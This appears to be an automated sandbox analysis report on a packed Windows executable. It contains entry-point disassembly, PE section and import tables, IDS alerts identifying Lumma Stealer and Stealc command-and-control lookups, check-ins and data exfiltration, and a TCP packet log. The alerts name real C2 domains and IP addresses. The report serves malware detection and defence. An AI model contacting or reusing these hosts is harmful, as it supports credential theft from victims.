Instruction
jmp 00007F62F8FBFFDAh
psubd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F62F8FC1FD5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0100000Ah
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	b43c30535ad3cd98faf21318d5d36b71	False	0.9973177975171232	data	7.974596671217423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b3000	0x200	a39c59d0f57181d241e879f3f0e162c8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sjczaofe	0x307000	0x1aa000	0x1a9800	5c0f5754af67b74fc5967ba83859ccea	False	0.9944120198663338	data	7.953589195117511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kagvxnfw	0x4b1000	0x1000	0x400	836834790dc780818145130612da1cc2	False	0.779296875	data	6.094398197126913	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b2000	0x3000	0x2200	cca2c9d803b0cf6a2423413ed718840b	False	0.058363970588235295	DOS executable (COM)	0.7058970454517633	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:44:14.093753+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.7	58819	1.1.1.1	53	UDP
2024-12-23T08:44:14.236830+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	63050	1.1.1.1	53	UDP
2024-12-23T08:44:14.377231+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.7	50486	1.1.1.1	53	UDP
2024-12-23T08:44:14.520439+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.7	62729	1.1.1.1	53	UDP
2024-12-23T08:44:14.661657+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.7	60809	1.1.1.1	53	UDP
2024-12-23T08:44:14.803531+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.7	59111	1.1.1.1	53	UDP
2024-12-23T08:44:14.944775+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.7	49555	1.1.1.1	53	UDP
2024-12-23T08:44:15.093617+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.7	56496	1.1.1.1	53	UDP
2024-12-23T08:44:15.233746+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.7	60794	1.1.1.1	53	UDP
2024-12-23T08:44:17.023273+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.102.49.254	443	TCP
2024-12-23T08:44:17.818916+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49700	104.102.49.254	443	TCP
2024-12-23T08:44:19.459135+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-23T08:44:20.079828+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-23T08:44:20.079828+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	172.67.157.254	443	TCP
2024-12-23T08:44:21.367599+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-23T08:44:22.129731+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-23T08:44:22.129731+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	172.67.157.254	443	TCP
2024-12-23T08:44:23.710003+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	172.67.157.254	443	TCP
2024-12-23T08:44:26.129872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49716	172.67.157.254	443	TCP
2024-12-23T08:44:28.398732+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49726	172.67.157.254	443	TCP
2024-12-23T08:44:30.969249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49734	172.67.157.254	443	TCP
2024-12-23T08:44:31.738792+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49734	172.67.157.254	443	TCP
2024-12-23T08:44:33.509038+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49741	172.67.157.254	443	TCP
2024-12-23T08:44:33.607699+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	49741	172.67.157.254	443	TCP
2024-12-23T08:44:37.266393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49751	172.67.157.254	443	TCP
2024-12-23T08:44:38.037114+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49751	172.67.157.254	443	TCP
2024-12-23T08:44:39.501817+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49755	185.215.113.16	80	TCP
2024-12-23T08:44:56.194881+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49791	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:44:15.612080097 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:15.612137079 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:15.613183022 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:15.633059978 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:15.633090973 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.023171902 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.023272991 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.030688047 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.030719042 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.031044960 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.083642006 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.168704987 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.215325117 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818841934 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818866968 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818873882 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818928957 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818941116 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.818994999 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.819027901 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:17.819047928 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:17.819089890 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.015847921 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.015916109 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.015979052 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.016052961 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.016077042 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.016180038 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.031162977 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.031245947 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.031287909 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.031377077 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.031394958 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.031462908 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.031531096 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.034025908 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.034066916 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.034082890 CET	49700	443	192.168.2.7	104.102.49.254
Dec 23, 2024 08:44:18.034097910 CET	443	49700	104.102.49.254	192.168.2.7
Dec 23, 2024 08:44:18.230580091 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:18.230626106 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:18.230740070 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:18.231168032 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:18.231194019 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:19.458853960 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:19.459135056 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:19.498792887 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:19.498825073 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:19.499211073 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:19.529567957 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:19.529567957 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:19.529697895 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.079866886 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.080190897 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.080322027 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.122102022 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.122102022 CET	49702	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.122136116 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.122148991 CET	443	49702	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.152614117 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.152657986 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:20.152745008 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.153280020 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:20.153294086 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:21.367492914 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:21.367599010 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:21.369158030 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:21.369163990 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:21.369400978 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:21.370757103 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:21.370791912 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:21.370816946 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.129724979 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.129772902 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.129826069 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.129858971 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.129884958 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.130068064 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.130068064 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.130084991 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.130136967 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.137929916 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.137999058 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.138040066 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.138045073 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.146399021 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.146450996 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.146455050 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.193250895 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.193272114 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.240096092 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.249217033 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.302483082 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.321645975 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.325437069 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.325469971 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.325565100 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.325589895 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.325663090 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.325800896 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.325819016 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.325841904 CET	49703	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.325853109 CET	443	49703	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.498428106 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.498506069 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:22.498626947 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.499084949 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:22.499110937 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:23.709841013 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:23.710002899 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:23.874279976 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:23.874325991 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:23.874692917 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:23.876123905 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:23.876123905 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:23.876168013 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:24.794059038 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:24.794192076 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:24.794281006 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:24.794528961 CET	49709	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:24.794548988 CET	443	49709	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:24.911899090 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:24.911957026 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:24.912043095 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:24.912414074 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:24.912426949 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.129776001 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.129872084 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.133511066 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.133527040 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.133763075 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.135308981 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.135492086 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.135518074 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.135566950 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.183343887 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.952521086 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.952603102 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:26.952711105 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.952982903 CET	49716	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:26.953006029 CET	443	49716	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:27.177269936 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:27.177303076 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:27.177395105 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:27.177696943 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:27.177709103 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:28.398524046 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:28.398731947 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:28.400135040 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:28.400146961 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:28.401034117 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:28.405967951 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:28.406169891 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:28.406217098 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:28.406291962 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:28.406302929 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:29.416553020 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:29.416645050 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:29.416712999 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:29.416975021 CET	49726	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:29.416990042 CET	443	49726	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:29.756010056 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:29.756042957 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:29.756119013 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:29.756459951 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:29.756477118 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:30.969072104 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:30.969249010 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:30.972748995 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:30.972757101 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:30.973012924 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:30.980139971 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:30.980262995 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:30.980268955 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:31.738802910 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:31.738893986 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:31.739065886 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:31.739196062 CET	49734	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:31.739214897 CET	443	49734	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:32.295712948 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:32.295769930 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:32.295972109 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:32.296804905 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:32.296823025 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.508956909 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.509037971 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.510339022 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.510348082 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.510584116 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.552464008 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.578033924 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.606430054 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.606493950 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.606982946 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.607002020 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.607614040 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.607636929 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.608839035 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.608865976 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.614875078 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.614898920 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.617216110 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.617235899 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.617248058 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.617257118 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.617400885 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.617422104 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.617446899 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.617911100 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.617933989 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.659339905 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.662900925 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.662951946 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.662981987 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.663001060 CET	443	49741	172.67.157.254	192.168.2.7
Dec 23, 2024 08:44:33.663059950 CET	49741	443	192.168.2.7	172.67.157.254
Dec 23, 2024 08:44:33.663081884 CET	443	49741	172.67.157.254	192.168.2.7
